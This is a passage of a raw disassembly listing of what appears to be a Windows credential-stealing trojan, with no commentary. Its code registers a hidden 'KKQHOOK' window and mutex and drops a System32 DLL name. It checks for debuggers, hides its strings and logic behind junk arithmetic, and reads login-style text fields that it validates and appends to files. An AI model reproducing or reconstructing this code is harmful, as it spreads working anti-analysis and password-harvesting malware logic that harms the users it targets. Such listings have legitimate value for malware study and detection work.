		mov	[ebp+var_27C], 1B3Dh
		sub	[ebp+var_27C], 108Ah
		push	5
		push	offset word_445D56
		call	sub_40129C
		push	offset aDatkkq32_dll ; "datkkq32.dll"
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\System32"
		push	eax
		push	offset dword_40E010
		call	sub_40CA30
		mov	[ebp+var_280], 4FE3h
		add	[ebp+var_280], 4ADFh
		push	0FFh
		push	offset dword_413F90
		call	sub_40C5C8	; GetWindowsDirectoryA
		call	sub_40C598	; GetTickCount
		push	9
		push	offset byte_445D2B
		call	sub_40129C
		push	eax
		push	offset dword_413F90
		call	sub_40CA54
		call	sub_40C598	; GetTickCount
		lea	eax, aKkqhook	; "KKQHOOK"
		mov	[ebp+var_31], eax
		mov	[ebp+var_281], 0E4h
		movzx	eax, [ebp+var_281]
		imul	eax, 3FBBh
		mov	[ebp+var_281], al
		mov	eax, ds:dword_41DA84
		mov	[ebp+var_45], eax
		lea	eax, sub_40B143
		mov	[ebp+var_51], eax
		push	7F00h
		push	0
		call	sub_40C7C0	; LoadCursorA
		mov	[ebp+var_3D], eax
		mov	[ebp+var_288], 5083h
		mov	eax, 4FDBh
		mul	[ebp+var_288]
		mov	[ebp-7E0h], eax
		mov	[ebp+var_288], eax
		push	7F03h
		push	0
		call	sub_40C7CC	; LoadIconA
		mov	[ebp+var_41], eax
		call	sub_40C538	; RtlGetLastWin32Error
		and	[ebp+var_35], 0
		push	0
		call	sub_40C8C8	; GetStockObject
		mov	[ebp+var_39], eax
		mov	[ebp+var_55], 3
		and	[ebp+var_4D], 0
		and	[ebp+var_49], 0
		lea	eax, [ebp+var_55]
		push	eax
		call	sub_40C7E4	; RegisterClassA
		call	sub_40C508	; GetCurrentProcessId
		push	0
		push	ds:dword_41DA84
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0CA0000h
		push	offset aKkqhook	; "KKQHOOK"
		push	offset aKkqhook	; "KKQHOOK"
		push	0
		call	sub_40C88C	; CreateWindowExA
		mov	ds:dword_41B89C, eax
		mov	[ebp+var_289], 1Dh
		add	[ebp+var_289], 1
		push	offset aKkqhook_28 ; "KKQHOOK_28"
		push	0
		push	0
		call	sub_40C6C4	; CreateMutexA
		call	sub_40C634	; IsDebuggerPresent
		push	2
		call	sub_402A4D
		add	esp, 5Ch
		call	sub_40C634	; IsDebuggerPresent
		call	sub_40C5A4	; GetVersion
		cmp	eax, 80000000h
		jb	loc_40AD43
		lea	edi, [ebp+var_7EB]
		lea	esi, byte_445BAF
		mov	ecx, 3
		rep movsb
		push	0Ch
		push	offset aUqg	; ""
		call	sub_40129C
		push	eax
		call	sub_40C550	; GetModuleHandleA
		mov	edi, eax
		push	16h
		push	offset byte_445D07
		call	sub_40129C
		add	esp, 10h
		push	eax
		push	edi
		call	sub_40C568	; GetProcAddress
		mov	[ebp+var_7E8], eax
		lea	edi, [ebp+var_7F1]
		lea	esi, aVcxs	; "|vCXS"
		mov	ecx, 3
		rep movsw
		call	sub_40C508	; GetCurrentProcessId
		mov	edi, 3
		sub	edi, dword_43B094
		push	edi
		push	eax
		call	[ebp+var_7E8]
		mov	[ebp+var_7E2], 1273h
		movzx	eax, [ebp+var_7E2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_7E2], ax

loc_40AD43:				; CODE XREF: sub_40A766+54Bj
		lea	edi, [ebp+var_7B3]
		lea	esi, aWBqy	; " w bqy "
		movsd
		movsd
		push	104h
		lea	eax, [ebp+var_580]
		push	eax
		push	0
		call	sub_40C544	; GetModuleFileNameA
		lea	eax, [ebp+var_580]
		push	eax
		call	sub_403449
		lea	edi, [ebp+var_7B4]
		lea	esi, byte_445BC0
		xor	ecx, ecx
		inc	ecx
		rep movsb
		push	offset dword_41EA80
		call	sub_403449
		mov	[ebp+var_28C], 3040h
		inc	[ebp+var_28C]
		push	offset dword_40F280
		call	sub_403449
		mov	[ebp+var_28D], 0C8h
		sub	[ebp+var_28D], 2Ch
		push	offset dword_40E010
		call	sub_403449
		mov	[ebp+var_294], 73D3h
		add	[ebp+var_294], 7F76h
		call	sub_40C508	; GetCurrentProcessId
		push	eax
		call	sub_4036F2
		lea	edi, [ebp+var_7BA]
		lea	esi, aWAs@	; "W!aS@"
		mov	ecx, 3
		rep movsw
		lea	edi, [ebp+var_7C2]
		lea	esi, aLKVm	; "l:K VM~"
		mov	ecx, 2
		rep movsd
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4039D6
		and	[ebp+var_360], 0
		mov	[ebp+var_364], 64h
		call	sub_40C508	; GetCurrentProcessId
		push	45h
		push	offset byte_445CC1
		call	sub_40129C
		lea	edi, [ebp+var_360]
		push	edi
		lea	edi, [ebp+var_364]
		push	edi
		lea	edi, [ebp+var_35C]
		push	edi
		lea	edi, [ebp+var_2F8]
		push	edi
		push	eax
		push	80000002h
		call	sub_4014BD
		lea	edi, [ebp+var_7C7]
		lea	esi, aScG	; "Sc g"
		mov	ecx, 5
		rep movsb
		push	1
		push	offset byte_445CBF
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_35C]
		push	edi
		call	sub_4037EF
		mov	[ebp+var_366], 0ABBh
		movzx	eax, [ebp+var_366]
		imul	eax, 144Dh
		mov	[ebp+var_366], ax
		push	1
		push	offset byte_445CBD
		call	sub_40129C
		push	eax
		lea	edi, [ebp+var_2F8]
		push	edi
		call	sub_4037EF
		lea	edi, [ebp+var_7CC]
		lea	esi, a3sd_	; "3Sd_"
		mov	ecx, 5
		rep movsb
		push	17h
		push	offset byte_445CA5
		call	sub_40129C
		lea	edi, [ebp+var_35C]
		push	edi
		push	eax
		lea	edi, [ebp+var_77E]
		push	edi
		call	sub_40CA30
		mov	[ebp+var_5E], 3CC6h
		movzx	eax, [ebp+var_5E]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_5E], ax
		lea	eax, [ebp+var_360]
		push	eax
		lea	eax, [ebp+var_364]
		push	eax
		lea	eax, [ebp+var_67F]
		push	eax
		push	0
		lea	eax, [ebp+var_77E]
		push	eax
		push	80000000h
		call	sub_4014BD
		mov	[ebp+var_36C], 4978h
		sub	[ebp+var_36C], 4EB6h
		lea	eax, [ebp+var_67F]
		push	eax
		call	sub_403449
		call	sub_40C538	; RtlGetLastWin32Error
		call	sub_403AA3
		push	offset sub_408189
		call	sub_40801C
		add	esp, 8Ch
		call	sub_40C598	; GetTickCount
		lea	eax, [ebp+var_7D0]
		push	eax
		push	0
		push	0
		push	offset sub_409847
		push	0
		push	0
		call	sub_40C754	; CreateThread
		push	eax
		call	sub_40C55C	; CloseHandle
		lea	edi, [ebp+var_7D7]
		lea	esi, aKT	; "^+k!~T"
		mov	ecx, 7
		rep movsb
		push	0
		mov	eax, dword_43B098
		mov	edx, eax
		add	edx, 1E8h
		push	edx
		mov	edx, 0Dh
		sub	edx, eax
		push	edx
		push	ds:dword_41B89C
		call	sub_40C7D8	; SetTimer
		jmp	short loc_40B001
; ---------------------------------------------------------------------------

loc_40AFBF:				; CODE XREF: sub_40A766+8ACj
		mov	[ebp+var_7E2], 3F2Eh
		add	[ebp+var_7E2], 0CABh
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40C844	; TranslateMessage
		mov	[ebp+var_7E8], 5962h
		inc	[ebp+var_7E8]
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40C850	; DispatchMessageA
		mov	[ebp+var_7E9], 0B5h
		sub	[ebp+var_7E9], 2

loc_40B001:				; CODE XREF: sub_40A766+857j
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_1D]
		push	eax
		call	sub_40C7FC	; GetMessageA
		or	eax, eax
		jnz	short loc_40AFBF
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40A766	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B01B	proc near		; DATA XREF: sub_408E89+8BDo
					; sub_408E89+8FEo ...

var_1C		= dword	ptr -1Ch
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_6		= dword	ptr -6
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_40C634	; IsDebuggerPresent
		mov	eax, [ebp+arg_4]
		cmp	eax, 100h
		jz	short loc_40B049
		jmp	loc_40B0C2
; ---------------------------------------------------------------------------
		mov	[ebp+var_10], 2420h
		add	[ebp+var_10], 3723h

loc_40B049:				; CODE XREF: sub_40B01B+19j
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+arg_8], 9
		jnz	short loc_40B0C2
		cmp	edi, ds:dword_410848
		jnz	short loc_40B067
		push	ds:dword_431D04
		call	sub_40C7A8	; SetFocus

loc_40B067:				; CODE XREF: sub_40B01B+3Fj
		mov	[ebp+var_14], 134h
		mov	eax, 33B6h
		mul	[ebp+var_14]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_14], eax
		cmp	edi, ds:dword_431D04
		jnz	short loc_40B08F
		push	ds:dword_41DA7C
		call	sub_40C7A8	; SetFocus

loc_40B08F:				; CODE XREF: sub_40B01B+67j
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	edi, ds:dword_41DA7C
		jnz	short loc_40B0A7
		push	ds:dword_41DA74
		call	sub_40C7A8	; SetFocus

loc_40B0A7:				; CODE XREF: sub_40B01B+7Fj
		mov	[ebp+var_15], 71h
		add	[ebp+var_15], 3Ah
		cmp	edi, ds:dword_41DA74
		jnz	short loc_40B0C2
		push	ds:dword_431D04
		call	sub_40C7A8	; SetFocus

loc_40B0C2:				; CODE XREF: sub_40B01B+1Bj
					; sub_40B01B+37j ...
		xor	esi, esi
		cmp	edi, ds:dword_431D04
		jnz	short loc_40B0D2
		mov	esi, ds:dword_41EA7C

loc_40B0D2:				; CODE XREF: sub_40B01B+AFj
		mov	ebx, 74B5h
		inc	ebx
		cmp	edi, ds:dword_41DA7C
		jnz	short loc_40B0E6
		mov	esi, ds:dword_41DA78

loc_40B0E6:				; CODE XREF: sub_40B01B+C3j
		mov	[ebp+var_2], 354Dh
		add	[ebp+var_2], 3C6Bh
		cmp	edi, ds:dword_410848
		jnz	short loc_40B100
		mov	esi, ds:dword_40E008

loc_40B100:				; CODE XREF: sub_40B01B+DDj
		mov	ebx, 6788h
		add	ebx, 110Ch
		cmp	edi, ds:dword_41DA74
		jnz	short loc_40B119
		mov	esi, ds:dword_413F6C

loc_40B119:				; CODE XREF: sub_40B01B+F6j
		call	sub_40C574	; GetProcessHeap
		or	esi, esi
		jz	short loc_40B134
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		push	esi
		call	sub_40C8BC	; CallWindowProcA
		jmp	short loc_40B13C
; ---------------------------------------------------------------------------

loc_40B134:				; CODE XREF: sub_40B01B+105j
		mov	eax, dword_445BE0
		mov	[ebp+var_6], eax

loc_40B13C:				; CODE XREF: sub_40B01B+117j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B01B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B143	proc near		; DATA XREF: sub_40A766+46Ao

var_27A		= word ptr -27Ah
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= byte ptr -24Ch
var_248		= byte ptr -248h
var_149		= byte ptr -149h
var_144		= word ptr -144h
var_142		= byte ptr -142h
var_13D		= byte ptr -13Dh
var_135		= word ptr -135h
var_133		= byte ptr -133h
var_132		= byte ptr -132h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11B		= byte ptr -11Bh
var_11A		= word ptr -11Ah
var_118		= word ptr -118h
var_115		= byte ptr -115h
var_114		= dword	ptr -114h
var_10D		= byte ptr -10Dh
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_101		= byte ptr -101h
var_100		= byte ptr -100h
var_FF		= byte ptr -0FFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 27Ch
		push	ebx
		push	esi
		push	edi
		call	sub_40C538	; RtlGetLastWin32Error
		mov	eax, [ebp+arg_4]
		cmp	eax, 10h
		jz	loc_40B36D
		jg	short loc_40B170
		cmp	eax, 2
		jz	loc_40B353
		jmp	loc_40B9CF
; ---------------------------------------------------------------------------

loc_40B170:				; CODE XREF: sub_40B143+1Dj
		cmp	eax, 111h
		jz	loc_40B47A
		cmp	eax, 113h
		jz	short loc_40B1B1
		cmp	eax, 111h
		jl	loc_40B9CF
		cmp	eax, 138h
		jz	loc_40B392
		jmp	loc_40B9CF
; ---------------------------------------------------------------------------
		lea	edi, [ebp+var_132]
		lea	esi, a9O1	; " 9'O1"
		mov	ecx, 3
		rep movsw

loc_40B1B1:				; CODE XREF: sub_40B143+3Dj
		lea	edi, [ebp+var_133]
		lea	esi, byte_445BEA
		xor	ecx, ecx
		inc	ecx
		rep movsb
		cmp	dword_43B218, 0
		jz	loc_40B2FA
		mov	byte ptr [ebp+var_250+3], 0A1h
		movzx	eax, byte ptr [ebp+var_250+3]
		imul	eax, 1F49h
		mov	byte ptr [ebp+var_250+3], al
		push	9
		push	offset aST	; ""
		call	sub_40129C
		push	eax
		push	dword_43B218
		call	sub_408DEF
		mov	[ebp+var_254], eax
		push	8
		push	offset aS	; ""
		call	sub_40129C
		push	eax
		push	[ebp+var_254]
		call	sub_408DEF
		add	esp, 20h
		mov	[ebp+var_258], eax
		call	sub_40C514	; GetCurrentThreadId
		lea	eax, [ebp+var_268]
		push	eax
		push	[ebp+var_258]
		call	sub_40C778	; GetWindowRect
		or	eax, eax
		jz	loc_40B2FA
		lea	eax, [ebp+var_278]
		push	eax
		push	ds:dword_41EB84
		call	sub_40C778	; GetWindowRect
		or	eax, eax
		jz	loc_40B2FA
		mov	byte ptr [ebp+var_250+2], 38h
		add	byte ptr [ebp+var_250+2], 25h
		mov	eax, [ebp+var_260]
		sub	eax, [ebp+var_268]
		sub	eax, 4
		mov	edx, [ebp+var_270]
		sub	edx, [ebp+var_278]
		cmp	eax, edx
		jnz	short loc_40B2AD
		mov	eax, [ebp+var_25C]
		sub	eax, [ebp+var_264]
		sub	eax, 4
		mov	edx, [ebp+var_26C]
		sub	edx, [ebp+var_274]
		cmp	eax, edx
		jz	short loc_40B2FA

loc_40B2AD:				; CODE XREF: sub_40B143+149j
		call	sub_40C514	; GetCurrentThreadId
		push	1
		mov	eax, [ebp+var_25C]
		sub	eax, [ebp+var_264]
		push	eax
		mov	eax, [ebp+var_260]
		sub	eax, [ebp+var_268]
		push	eax
		push	0
		push	0
		push	ds:dword_41EB84
		call	sub_40C8A4	; MoveWindow
		mov	[ebp+var_27A], 2EFFh
		movzx	eax, [ebp+var_27A]
		imul	eax, 4AB4h
		mov	[ebp+var_27A], ax

loc_40B2FA:				; CODE XREF: sub_40B143+86j
					; sub_40B143+FEj ...
		cmp	dword_43B214, 0
		jz	loc_40BA03
		lea	edi, [ebp+var_254+1]
		lea	esi, aEv	; "ev# "
		mov	ecx, 5
		rep movsb
		mov	eax, dword_43B214
		mov	dword_43B218, eax
		call	sub_40C598	; GetTickCount
		and	dword_43B214, 0
		push	dword_43B218
		call	sub_408E89
		pop	ecx
		mov	word ptr [ebp+var_250+2], 4C5Ah
		add	word ptr [ebp+var_250+2], 7318h
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B353:				; CODE XREF: sub_40B143+22j
		mov	eax, ds:dword_41B89C
		cmp	[ebp+arg_0], eax
		jnz	loc_40BA03
		push	0
		call	sub_40C874	; PostQuitMessage
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B36D:				; CODE XREF: sub_40B143+17j
		mov	eax, ds:dword_41B89C
		cmp	[ebp+arg_0], eax
		jnz	short loc_40B37F
		push	[ebp+arg_0]
		call	sub_40C898	; DestroyWindow

loc_40B37F:				; CODE XREF: sub_40B143+232j
		mov	[ebp+var_10D], 7Dh
		add	[ebp+var_10D], 1
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B392:				; CODE XREF: sub_40B143+4Fj
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_12C], eax
		mov	ax, word_445BF0
		mov	[ebp+var_135], ax
		mov	eax, [ebp+var_12C]
		cmp	eax, ds:dword_431CFC
		jz	short loc_40B3E2
		cmp	eax, ds:dword_413F70
		jz	short loc_40B3E2
		cmp	eax, ds:dword_41A864
		jz	short loc_40B3E2
		cmp	eax, ds:dword_433FE4
		jz	short loc_40B3E2
		cmp	eax, ds:dword_431D00
		jz	short loc_40B3E2
		cmp	eax, ds:dword_439328
		jnz	loc_40BA03

loc_40B3E2:				; CODE XREF: sub_40B143+271j
					; sub_40B143+279j ...
		call	sub_40C5A4	; GetVersion
		mov	eax, [ebp+var_12C]
		cmp	eax, ds:dword_431D00
		jz	short loc_40B3FD
		cmp	eax, ds:dword_439328
		jnz	short loc_40B40C

loc_40B3FD:				; CODE XREF: sub_40B143+2B0j
		push	1010B0h
		push	[ebp+arg_8]
		call	sub_40C8E0	; SetTextColor
		jmp	short loc_40B416
; ---------------------------------------------------------------------------

loc_40B40C:				; CODE XREF: sub_40B143+2B8j
		push	0
		push	[ebp+arg_8]
		call	sub_40C8E0	; SetTextColor

loc_40B416:				; CODE XREF: sub_40B143+2C7j
		push	0FFFFFFh
		push	[ebp+arg_8]
		call	sub_40C8D4	; SetBkColor
		call	sub_40C5A4	; GetVersion
		and	[ebp+var_260], 0
		and	[ebp+var_25C], 0
		lea	eax, [ebp+var_260]
		push	eax
		call	sub_40C8EC	; CreateBrushIndirect
		mov	[ebp+var_254], eax
		mov	word ptr [ebp+var_250+2], 72AAh
		movzx	eax, word ptr [ebp+var_250+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_250+2], ax
		mov	eax, [ebp+var_254]
		jmp	loc_40BA03
; ---------------------------------------------------------------------------
		call	sub_40C538	; RtlGetLastWin32Error
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B47A:				; CODE XREF: sub_40B143+32j
		lea	edi, [ebp+var_13D]
		lea	esi, aV880k	; "8+8	0k"
		movsd
		movsd
		push	2
		push	offset aI	; ""
		call	sub_40129C
		push	offset byte_432F00
		push	eax
		lea	edi, [ebp+var_248]
		push	edi
		call	sub_40CA30
		add	esp, 14h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	ds:dword_431D04
		call	sub_40C76C	; GetWindowTextA
		lea	edi, [ebp+var_142]
		lea	esi, aA?5m	; "A?5m"
		mov	ecx, 5
		rep movsb
		cmp	[ebp+var_FF], 0
		jnz	short loc_40B511
		call	sub_40C538	; RtlGetLastWin32Error
		push	1Fh
		push	offset word_445C82
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40C7F0	; MessageBoxA
		push	ds:dword_431D04
		call	sub_40C7A8	; SetFocus
		call	sub_40C508	; GetCurrentProcessId
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B511:				; CODE XREF: sub_40B143+397j
		push	5
		push	offset aINi	; "ލ"
		call	sub_40129C
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_248]
		push	edi
		push	eax
		lea	edi, [ebp+var_248]
		push	edi
		call	sub_40CA30
		add	esp, 18h
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	ds:dword_41DA7C
		call	sub_40C76C	; GetWindowTextA
		mov	[ebp+var_114], 2AEEh
		inc	[ebp+var_114]
		cmp	[ebp+var_FF], 0
		jnz	short loc_40B5C8
		call	sub_40C508	; GetCurrentProcessId
		push	1Eh
		push	offset byte_445C5D
		call	sub_40129C
		add	esp, 8
		push	0
		push	0
		push	eax
		push	0
		call	sub_40C7F0	; MessageBoxA
		mov	word ptr [ebp+var_250+2], 5B80h
		movzx	eax, word ptr [ebp+var_250+2]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	word ptr [ebp+var_250+2], ax
		push	ds:dword_41DA7C
		call	sub_40C7A8	; SetFocus
		mov	[ebp+var_254], 12FAh
		inc	[ebp+var_254]
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B5C8:				; CODE XREF: sub_40B143+426j
		push	5
		push	offset aIAi	; "ހ"
		call	sub_40129C
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_248]
		push	edi
		push	eax
		lea	edi, [ebp+var_248]
		push	edi
		call	sub_40CA30
		add	esp, 18h
		call	sub_40C574	; GetProcessHeap
		push	0FFh
		lea	eax, [ebp+var_FF]
		push	eax
		push	ds:dword_41DA74
		call	sub_40C76C	; GetWindowTextA
		call	sub_40C538	; RtlGetLastWin32Error
		cmp	[ebp+var_FF], 0
		jz	loc_40B758
		call	sub_40C508	; GetCurrentProcessId
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh

loc_40B62E:				; CODE XREF: sub_40B143+4F0j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B62E
		cmp	eax, 4
		jb	loc_40B758
		call	sub_40C508	; GetCurrentProcessId
		mov	[ebp+var_101], 0
		jmp	short loc_40B66E
; ---------------------------------------------------------------------------

loc_40B64C:				; CODE XREF: sub_40B143+544j
		movzx	eax, [ebp+var_101]
		mov	al, [ebp+eax+var_FF]
		cmp	al, 30h
		jl	short loc_40B662
		cmp	al, 39h
		jle	short loc_40B667

loc_40B662:				; CODE XREF: sub_40B143+519j
		jmp	loc_40B758
; ---------------------------------------------------------------------------

loc_40B667:				; CODE XREF: sub_40B143+51Dj
		add	[ebp+var_101], 1

loc_40B66E:				; CODE XREF: sub_40B143+507j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh

loc_40B677:				; CODE XREF: sub_40B143+539j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B677
		movzx	esi, [ebp+var_101]
		cmp	esi, eax
		jb	short loc_40B64C
		mov	[ebp+var_108], 6B03h
		mov	eax, [ebp+var_108]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_108], edx
		mov	[ebp+var_100], 0
		jmp	loc_40B737
; ---------------------------------------------------------------------------

loc_40B6AF:				; CODE XREF: sub_40B143+60Dj
		mov	word ptr [ebp+var_250],	0DE0h
		inc	word ptr [ebp+var_250]
		call	sub_40C634	; IsDebuggerPresent
		mov	al, [ebp+var_100]
		mov	byte ptr [ebp+var_250+3], al
		jmp	short loc_40B6FB
; ---------------------------------------------------------------------------

loc_40B6D2:				; CODE XREF: sub_40B143+5D1j
		movzx	eax, byte ptr [ebp+var_250+3]
		movsx	eax, [ebp+eax+var_FF]
		movzx	edx, [ebp+var_100]
		movsx	edx, [ebp+edx+var_FF]
		cmp	eax, edx
		jnz	short loc_40B716
		add	byte ptr [ebp+var_250+3], 1

loc_40B6FB:				; CODE XREF: sub_40B143+58Dj
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh

loc_40B704:				; CODE XREF: sub_40B143+5C6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B704
		movzx	esi, byte ptr [ebp+var_250+3]
		cmp	esi, eax
		jb	short loc_40B6D2

loc_40B716:				; CODE XREF: sub_40B143+5AFj
		call	sub_40C508	; GetCurrentProcessId
		movzx	eax, byte ptr [ebp+var_250+3]
		movzx	edx, [ebp+var_100]
		sub	eax, edx
		cmp	eax, 3
		jg	short loc_40B758
		add	[ebp+var_100], 1

loc_40B737:				; CODE XREF: sub_40B143+567j
		lea	ecx, [ebp+var_FF]
		or	eax, 0FFFFFFFFh

loc_40B740:				; CODE XREF: sub_40B143+602j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B740
		movzx	esi, [ebp+var_100]
		cmp	esi, eax
		jb	loc_40B6AF
		jmp	short loc_40B7BC
; ---------------------------------------------------------------------------

loc_40B758:				; CODE XREF: sub_40B143+4D7j
					; sub_40B143+4F5j ...
		mov	eax, dword_43B098
		add	eax, 7C4h
		push	eax
		call	sub_40C9B8
		push	35h
		push	offset byte_445C21
		call	sub_40129C
		mov	[ebp+var_250], eax
		push	13h
		push	offset byte_445C0D
		call	sub_40129C
		add	esp, 14h
		push	0
		push	eax
		mov	edi, [ebp+var_250]
		push	edi
		push	0
		call	sub_40C7F0	; MessageBoxA
		call	sub_40C598	; GetTickCount
		push	ds:dword_41DA74
		call	sub_40C7A8	; SetFocus
		mov	ax, word_445BFF
		mov	[ebp+var_144], ax
		jmp	loc_40BA03
; ---------------------------------------------------------------------------

loc_40B7BC:				; CODE XREF: sub_40B143+613j
		push	5
		push	offset aINi	; "ލ"
		call	sub_40129C
		lea	edi, [ebp+var_FF]
		push	edi
		lea	edi, [ebp+var_248]
		push	edi
		push	eax
		lea	edi, [ebp+var_248]
		push	edi
		call	sub_40CA30
		add	esp, 18h
		mov	[ebp+var_115], 1Ch
		sub	[ebp+var_115], 1Fh
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_41EA80
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_128], eax
		push	2
		push	0
		push	0
		push	eax
		call	sub_40C6AC	; SetFilePointer
		lea	ecx, [ebp+var_248]
		or	eax, 0FFFFFFFFh

loc_40B828:				; CODE XREF: sub_40B143+6EAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B828
		push	0
		lea	esi, [ebp+var_24C]
		push	esi
		push	eax
		lea	edi, [ebp+var_248]
		push	edi
		push	[ebp+var_128]
		call	sub_40C730	; WriteFile
		push	2
		push	offset aAz	; ""
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_24C]
		push	edi
		mov	edi, 0Eh
		sub	edi, dword_43B098
		push	edi
		push	eax
		push	[ebp+var_128]
		call	sub_40C730	; WriteFile
		mov	[ebp+var_10C], 57C0h
		mov	eax, [ebp+var_10C]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_10C], edx
		push	[ebp+var_128]
		call	sub_40C55C	; CloseHandle
		mov	[ebp+var_118], 2DFCh
		sub	[ebp+var_118], 4065h
		push	ds:dword_41EB84
		call	sub_40C898	; DestroyWindow
		lea	edi, [ebp+var_149]
		lea	esi, aShzq	; "ShzQ"
		mov	ecx, 5
		rep movsb
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_40F280
		call	sub_40C67C	; CreateFileA
		mov	[ebp+var_128], eax
		call	sub_40C5A4	; GetVersion
		push	2
		push	0
		push	0
		push	[ebp+var_128]
		call	sub_40C6AC	; SetFilePointer
		mov	[ebp+var_11A], 34D4h
		sub	[ebp+var_11A], 5BB2h
		lea	ecx, byte_432F00
		or	eax, 0FFFFFFFFh

loc_40B920:				; CODE XREF: sub_40B143+7E2j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40B920
		mov	edi, eax
		push	0
		lea	esi, [ebp+var_24C]
		push	esi
		push	edi
		push	offset byte_432F00
		push	[ebp+var_128]
		call	sub_40C730	; WriteFile
		mov	[ebp+var_11B], 99h
		add	[ebp+var_11B], 1
		push	1
		push	offset aN_1	; ""
		call	sub_40129C
		add	esp, 8
		push	0
		lea	edi, [ebp+var_24C]
		push	edi
		mov	edi, 3
		sub	edi, dword_43B094
		push	edi
		push	eax
		push	[ebp+var_128]
		call	sub_40C730	; WriteFile
		call	sub_40C634	; IsDebuggerPresent
		push	[ebp+var_128]
		call	sub_40C55C	; CloseHandle
		mov	[ebp+var_11E], 7327h
		movzx	eax, [ebp+var_11E]
		imul	eax, 3B23h
		mov	[ebp+var_11E], ax
		push	5
		push	ds:dword_41C950
		call	sub_40C880	; ShowWindow
		mov	[ebp+var_120], 519Ah
		sub	[ebp+var_120], 4248h
		jmp	short loc_40BA03
; ---------------------------------------------------------------------------

loc_40B9CF:				; CODE XREF: sub_40B143+28j
					; sub_40B143+44j ...
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40C8B0	; DefWindowProcA
		jmp	short loc_40BA03
; ---------------------------------------------------------------------------
		mov	[ebp+var_124], 2003h
		mov	eax, 20Bh
		mul	[ebp+var_124]
		mov	[ebp+var_254], eax
		mov	[ebp+var_124], eax

loc_40BA03:				; CODE XREF: sub_40B143+1BEj
					; sub_40B143+20Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_40B143	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BA0C	proc near		; CODE XREF: sub_406E2B+1Ap
					; sub_406E2B+35p
		jmp	ds:dword_447340
sub_40BA0C	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40BA18	proc near		; CODE XREF: sub_4053A1+C4p
		jmp	ds:dword_44734C
sub_40BA18	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


